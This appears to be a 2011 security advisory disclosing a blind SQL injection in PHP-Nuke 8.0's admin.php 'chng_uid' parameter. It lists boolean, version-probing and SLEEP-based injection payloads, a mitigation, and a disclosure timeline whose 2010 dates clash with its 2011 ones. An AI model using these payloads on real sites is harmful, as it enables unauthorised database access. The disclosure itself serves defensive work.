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From: YGN Ethical Hacker Group (listsyehg.net)
Date: Wed Mar 23 2011 - 09:52:04 CDT
PHP-Nuke 8.x <= Blind SQL Injection Vulnerability
The administration backend of PHP-Nuke 8.x is vulnerable to Blind SQL Injection.
PHP-Nuke is a Web Portal System or content management system. The goal
of PHP-Nuke is to have an automated web site to distribute news and
articles with users system. Each user can submit comments to discuss
the articles. Main features include: web based admin, surveys, top
page, access stats page with counter, user customizable box, themes
manager for registered users, friendly administration GUI with graphic
topic manager, option to edit or delete stories, option to delete
comments, moderation system, Referrers page to know who link us,
sections manager, customizable HTML blocks, user and authors edit, an
integrated Banners Ads system, search engine, backend/headlines
generation (RSS/RDF format), and many, many more friendly functions.
3. VULNERABILITY DESCRIPTION
The "chng_uid" parameter is not properly sanitized upon submission to
the /admin.php which leads to Blind SQL Injection vulnerability.
This allows an attacker to inject or manipulate SQL queries in the
back-end database, allowing for the manipulation or disclosure of
4. VERSIONS AFFECTED
8.0 and lower
Tested version: 8.0
The paid versions, 8.1 and 9.0, of php-Nuke may be vulnerable as well.
POST /admin.php HTTP/1.1
' or 1=1-- [TRUE]
' or 1=2-- [FALSE]
' or substring(version,1,1)=5-- [TRUE if mySQL version is 5.x]
' or substring(version,1,1)=4-- [FALSE if mySQL version is 5.x]
' or SLEEP(15)=0-- [sleep for 15 seconds]
Successful response (True) returns the user update form page.
Lock down access to php-Nuke administration backend.
No patch is available yet.
Use of this product is NOT recommended because of long lack of update
and vendor negligence about security reports.
Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2011-01-01: contacted author through emails
2011-01-25: contacted author through web site contact form
2010-03-23: no replies from author
2010-03-23: vulnerability disclosed
Original Advisory URL:
About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke
PHP-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658
keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, blind, sqlin, sql injection
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